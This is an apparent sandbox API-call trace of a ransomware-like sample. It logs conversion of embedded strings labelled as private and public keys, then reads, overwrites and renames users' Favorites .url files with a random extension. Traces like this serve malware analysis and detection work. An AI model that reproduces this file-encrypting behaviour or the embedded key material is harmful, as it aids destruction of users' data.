lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.349] GetCurrentThreadId () returned 0xa30 [0125.349] GetCurrentThreadId () returned 0xa30 [0125.349] GetCurrentThreadId () returned 0xa30 [0125.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.350] GetCurrentThreadId () returned 0xa30 [0125.350] GetCurrentThreadId () returned 0xa30 [0125.350] GetCurrentThreadId () returned 0xa30 [0125.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.351] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.351] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.351] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.351] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.351] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.354] CloseHandle (hObject=0x1ec) returned 1 [0125.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.356] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.358] CloseHandle (hObject=0x1ec) returned 1 [0125.358] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.zv7un")) returned 1 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] GetCurrentThreadId () returned 0xa30 [0125.359] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0125.359] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.359] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.364] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0125.364] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x80) returned 1 [0125.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 